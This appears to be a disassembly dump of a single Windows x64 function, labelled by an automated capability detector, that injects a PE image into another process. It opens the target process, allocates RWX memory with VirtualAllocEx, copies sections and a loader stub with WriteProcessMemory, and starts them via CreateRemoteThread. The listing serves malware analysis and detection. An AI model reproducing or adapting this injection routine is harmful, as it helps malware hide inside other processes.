Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Get system information on windows
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
sub rsp, 0xb0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov r8d, ecx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400012fd
mov qword [rsp + 0xd0], rbp
mov eax, 0x5a4d
cmp word [0x140005040], ax
mov qword [rsp + 0xa0], r12
lea r12, [0x140005040]
mov qword [rsp + 0x98], r14
mov qword [rsp + 0x90], r15
jne 0x140001339
movsxd rbp, dword [0x14000507c]
lea rdx, [rsp + 0x50]
mov rcx, rsi
add rbp, r12
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor r15d, r15d
test eax, eax
jne 0x140001094
mov ecx, r15d
jmp 0x1400010c2
cmp dword [rsp + 0x50], r15d
je 0x1400010a2
mov ecx, 0x20
jmp 0x1400010c2
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [rsp + 0x58], r15w
mov ecx, 0x20
mov eax, 0x40
cmove eax, ecx
mov ecx, eax
mov eax, 0x8664
cmp word [rbp + 4], ax
jne 0x140001339
cmp ecx, 0x40
jne 0x140001339
mov r8d, dword [rbp + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbp + 0x30]
mov dword [rsp + 0x20], ecx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x140001126
mov r8d, dword [rbp + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x140001339
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xc8], rbx
movzx ebx, word [rbp + 0x14]
add rbx, 0x2c
mov qword [rsp + 0x40], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rdi
mov edi, r15d
mov qword [rsp + 0x48], rax
cmp r15w, word [rbp + 6]
jae 0x14000119d
add rbx, rbp
mov eax, dword [rbx - 4]
test eax, eax
je 0x14000118f
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r12
add rdx, r14
mov qword [rsp + 0x20], r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400012a5
movzx eax, word [rbp + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jl 0x140001163
movups xmm0, xmmword [rsp + 0x40]
mov r9d, 0x1000
mov qword [rsp + 0x20], r15
mov r8, r12
mov rdx, r14
mov rcx, rsi
movaps xmmword [0x140005040], xmm0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400012b6
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x1400012b6
mov r9d, 0x1000
mov qword [rsp + 0x20], r15
lea r8, [0x140001350]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001316
mov qword [rsp + 0x30], r15
mov r9, rbx
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140001316
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x54]
mov dword [rsp + 0x54], 0xffffffff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, r14
jmp 0x1400012cd
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
mov rdi, qword [rsp + 0xa8]
mov rbx, qword [rsp + 0xc8]
mov r12, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xd0]
mov r14, qword [rsp + 0x98]
mov r15, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140001930
add rsp, 0xb0
pop rsi
ret
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
jmp 0x1400012c2
xor edx, edx
mov r8d, 0x8000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x1400012dd